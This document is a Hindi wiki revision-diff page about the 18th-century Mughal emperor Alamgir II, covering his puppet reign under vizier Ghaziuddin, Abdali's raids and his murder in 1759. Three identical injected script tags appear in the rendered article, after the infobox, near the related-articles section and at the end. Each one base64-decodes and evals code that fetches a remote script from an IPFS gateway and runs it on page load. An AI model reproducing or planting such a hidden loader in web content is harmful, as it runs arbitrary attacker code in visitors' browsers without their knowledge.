"आलमगीर द्वितीय" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
(इसी सदस्य द्वारा किया गया बीच का एक अवतरण नहीं दर्शाया गया)
पंक्ति 1: पंक्ति 1:
[[चित्र:Alamgir-II.jpg|thumb|आलमगीर द्वितीय<br /> Alamgir II]]
+
{{सूचना बक्सा ऐतिहासिक पात्र
'''आलमगीर द्वितीय''' 16वाँ मुग़ल बादशाह था, जिसने 1754 से 1759 ई. तक राज्य किया। आलमगीर द्वितीय आठवें [[मुग़ल]] बादशाह [[जहाँदारशाह]] का पौत्र था। [[अहमदशाह]] को गद्दी से उतार दिये जाने के बाद आलमगीर द्वितीय को [[मुग़ल वंश]] का उत्तराधिकारी घोषित किया गया था। इसे प्रशासन का कोई अनुभव नहीं था। वह बड़ा कमज़ोर व्यक्ति था, और वह अपने वज़ीर ग़ाज़ीउद्दीन इमादुलमुल्क के हाथों की कठपुतली था। आलमगीर द्वितीय को 'अजीजुद्दीन' के नाम से भी जाना जाता है। वज़ीर ग़ाज़ीउद्दीन ने 1759 ई. में आलमगीर द्वितीय की हत्या करवा दी थी।
+
|चित्र=Alamgir-II.jpg
 +
|चित्र का नाम=आलमगीर द्वितीय
 +
|पूरा नाम=अज़ीज़ उद-दीन आलमगीर द्वितीय
 +
|अन्य नाम=
 +
|जन्म=[[6 जून]], 1699
 +
|जन्म भूमि=[[मुल्तान]], [[मुग़ल साम्राज्य]]
 +
|मृत्यु तिथि=[[29 नवम्बर]], 1759
 +
|मृत्यु स्थान=कोटला फतेहशाह, [[मुग़ल साम्राज्य]]
 +
|पिता/माता=पिता- [[जहाँदार शाह]]
 +
|पति/पत्नी=
 +
|संतान=
 +
|उपाधि=
 +
|शासन=
 +
|धार्मिक मान्यता=[[इस्लाम]]
 +
|राज्याभिषेक=
 +
|युद्ध=
 +
|प्रसिद्धि=
 +
|निर्माण=
 +
|सुधार-परिवर्तन=
 +
|राजधानी=
 +
|पूर्वाधिकारी=
 +
|राजघराना=
 +
|वंश=[[मुग़ल वंश]]
 +
|शासन काल=1754 से 1759 ई.
 +
|स्मारक=
 +
|मक़बरा=
 +
|संबंधित लेख=
 +
|शीर्षक 1=
 +
|पाठ 1=
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=आलमगीर द्वितीय [[बंगाल]] को [[मुग़ल|मुग़लों]] के क़ब्ज़े में बनाये रखने में असफल रहा। इस प्रकार [[भारत]] में ब्रिटिश साम्राज्य की नींव न पड़ने देने के लिए वह कुछ न कर सका।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन=
 +
}}
 +
'''आलमगीर द्वितीय''' (जन्म- [[6 जून]], 1699, [[मुल्तान]]; मृत्यु- [[29 नवम्बर]], 1759, कोटला फतेहशाह)16वाँ मुग़ल बादशाह था, जिसने 1754 से 1759 ई. तक राज्य किया। आलमगीर द्वितीय आठवें [[मुग़ल]] बादशाह [[जहाँदारशाह]] का पुत्र था। [[अहमदशाह]] को गद्दी से उतार दिये जाने के बाद आलमगीर द्वितीय को [[मुग़ल वंश]] का उत्तराधिकारी घोषित किया गया था। इसे प्रशासन का कोई अनुभव नहीं था। वह बड़ा कमज़ोर व्यक्ति था, और वह अपने वज़ीर ग़ाज़ीउद्दीन इमादुलमुल्क के हाथों की कठपुतली था। आलमगीर द्वितीय को 'अजीजुद्दीन' के नाम से भी जाना जाता है। वज़ीर ग़ाज़ीउद्दीन ने 1759 ई. में आलमगीर द्वितीय की हत्या करवा दी थी।
 
==ग़ाज़ीउद्दीन की साज़िश==
 
==ग़ाज़ीउद्दीन की साज़िश==
 
वज़ीर [[गाज़ीउद्दीन इमामुलमुल्क|ग़ाज़ीउद्दीन]] ने 15वें मुग़ल बादशाह अहमदशाह को अन्धा करके गद्दी से उतार दिया और 1754 ई. में आलमगीर द्वितीय को बादशाह बनाया। वह चाहता था कि बादशाह उसके हाथ की कठपुतली बना रहे। यह समय बड़ी उथल-पुथल का समय था।
 
वज़ीर [[गाज़ीउद्दीन इमामुलमुल्क|ग़ाज़ीउद्दीन]] ने 15वें मुग़ल बादशाह अहमदशाह को अन्धा करके गद्दी से उतार दिया और 1754 ई. में आलमगीर द्वितीय को बादशाह बनाया। वह चाहता था कि बादशाह उसके हाथ की कठपुतली बना रहे। यह समय बड़ी उथल-पुथल का समय था।
पंक्ति 9: पंक्ति 44:
 
==मृत्यु==
 
==मृत्यु==
 
आलमगीर द्वितीय के शासन काल में साम्राज्य की सैनिक और वित्तीय स्थिति पूर्णतः अस्त-व्यस्त हो चुकी थी। भूख से मरते सैनिकों के दंगे और उपद्रव आलमगीर के शासन काल में दिन-प्रतिदिन की घटना थी।
 
आलमगीर द्वितीय के शासन काल में साम्राज्य की सैनिक और वित्तीय स्थिति पूर्णतः अस्त-व्यस्त हो चुकी थी। भूख से मरते सैनिकों के दंगे और उपद्रव आलमगीर के शासन काल में दिन-प्रतिदिन की घटना थी।
 +
 +
 
वज़ीर ग़ाज़ीउद्दीन की मनमानी से भी आलमगीर अपने को मुक्त करना चाहता था। जब उसने ग़ाज़ीउद्दीन के नियंत्रण से अपने को मुक्त करने का प्रयास किया, तो 1759 ई. में वज़ीर ने उसकी भी हत्या करवा दी। उसकी लाश को [[लाल क़िला दिल्ली|लाल क़िले]] के पीछे [[यमुना नदी]] में फेंक दिया गया।  
 
वज़ीर ग़ाज़ीउद्दीन की मनमानी से भी आलमगीर अपने को मुक्त करना चाहता था। जब उसने ग़ाज़ीउद्दीन के नियंत्रण से अपने को मुक्त करने का प्रयास किया, तो 1759 ई. में वज़ीर ने उसकी भी हत्या करवा दी। उसकी लाश को [[लाल क़िला दिल्ली|लाल क़िले]] के पीछे [[यमुना नदी]] में फेंक दिया गया।  
  
{{प्रचार}}
+
 
{{लेख प्रगति
+
|आधार= |प्रारम्भिक=प्रारम्भिक1|माध्यमिक=|पूर्णता=|शोध=}}
|आधार=  
 
|प्रारम्भिक=प्रारम्भिक1
 
|माध्यमिक=
 
|पूर्णता=
 
|शोध=
 
}}
 
{{संदर्भ ग्रंथ}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
 
==संबंधित लेख==
 
==संबंधित लेख==
{{मुग़ल साम्राज्य}}
+
{{मुग़ल साम्राज्य}}{{मुग़ल काल}}
{{मुग़ल काल}}
+
[[Category:मुग़ल साम्राज्य]][[Category:मध्य काल]][[Category:औपनिवेशिक काल]][[Category:जीवनी साहित्य]][[Category:चरित कोश]][[Category:इतिहास कोश]]
[[Category:इतिहास कोश]]
 
[[Category:मुग़ल साम्राज्य]]
 
[[Category:औपनिवेशिक काल]]
 
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

09:34, 22 मई 2018 के समय का अवतरण

आलमगीर द्वितीय
आलमगीर द्वितीय
पूरा नाम अज़ीज़ उद-दीन आलमगीर द्वितीय
जन्म 6 जून, 1699
जन्म भूमि मुल्तान, मुग़ल साम्राज्य
मृत्यु तिथि 29 नवम्बर, 1759
मृत्यु स्थान कोटला फतेहशाह, मुग़ल साम्राज्य
पिता/माता पिता- जहाँदार शाह
धार्मिक मान्यता इस्लाम
वंश मुग़ल वंश
शासन काल 1754 से 1759 ई.
अन्य जानकारी आलमगीर द्वितीय बंगाल को मुग़लों के क़ब्ज़े में बनाये रखने में असफल रहा। इस प्रकार भारत में ब्रिटिश साम्राज्य की नींव न पड़ने देने के लिए वह कुछ न कर सका।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

आलमगीर द्वितीय (जन्म- 6 जून, 1699, मुल्तान; मृत्यु- 29 नवम्बर, 1759, कोटला फतेहशाह)16वाँ मुग़ल बादशाह था, जिसने 1754 से 1759 ई. तक राज्य किया। आलमगीर द्वितीय आठवें मुग़ल बादशाह जहाँदारशाह का पुत्र था। अहमदशाह को गद्दी से उतार दिये जाने के बाद आलमगीर द्वितीय को मुग़ल वंश का उत्तराधिकारी घोषित किया गया था। इसे प्रशासन का कोई अनुभव नहीं था। वह बड़ा कमज़ोर व्यक्ति था, और वह अपने वज़ीर ग़ाज़ीउद्दीन इमादुलमुल्क के हाथों की कठपुतली था। आलमगीर द्वितीय को 'अजीजुद्दीन' के नाम से भी जाना जाता है। वज़ीर ग़ाज़ीउद्दीन ने 1759 ई. में आलमगीर द्वितीय की हत्या करवा दी थी।

ग़ाज़ीउद्दीन की साज़िश

वज़ीर ग़ाज़ीउद्दीन ने 15वें मुग़ल बादशाह अहमदशाह को अन्धा करके गद्दी से उतार दिया और 1754 ई. में आलमगीर द्वितीय को बादशाह बनाया। वह चाहता था कि बादशाह उसके हाथ की कठपुतली बना रहे। यह समय बड़ी उथल-पुथल का समय था।

अब्दाली का हमला

1756 ई. में अहमदशाह अब्दाली ने चौथी बार भारत पर हमला किया और दिल्ली को लूटा। उसने सिंध पर क़ब्ज़ा कर लिया और अपने बेटे तैमूर को वहाँ का शासन करने के लिए छोड़ दिया।

आलमगीर की असहायता

इसके बाद ही मराठों ने 1758 ई. में दिल्ली पर चढ़ाई की और पंजाब को जीतकर तैमूर को वहाँ से निकाल दिया। बादशाह आलमगीर द्वितीय इस सब घटनाओं का असहाय दर्शक बना रहा। इससे पहले प्लासी का युद्ध 1757 ई. में हो चुका था और उसमें ईस्ट इंडिया कम्पनी की जीत हो चुकी थी। बादशाह आलमगीर द्वितीय बंगाल को मुग़लों के क़ब्ज़े में बनाये रखने में असफल रहा। इस प्रकार भारत में ब्रिटिश साम्राज्य की नींव न पड़ने देने के लिए वह कुछ न कर सका।

मृत्यु

आलमगीर द्वितीय के शासन काल में साम्राज्य की सैनिक और वित्तीय स्थिति पूर्णतः अस्त-व्यस्त हो चुकी थी। भूख से मरते सैनिकों के दंगे और उपद्रव आलमगीर के शासन काल में दिन-प्रतिदिन की घटना थी।


वज़ीर ग़ाज़ीउद्दीन की मनमानी से भी आलमगीर अपने को मुक्त करना चाहता था। जब उसने ग़ाज़ीउद्दीन के नियंत्रण से अपने को मुक्त करने का प्रयास किया, तो 1759 ई. में वज़ीर ने उसकी भी हत्या करवा दी। उसकी लाश को लाल क़िले के पीछे यमुना नदी में फेंक दिया गया।


|आधार= |प्रारम्भिक=प्रारम्भिक1|माध्यमिक=|पूर्णता=|शोध=}}

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>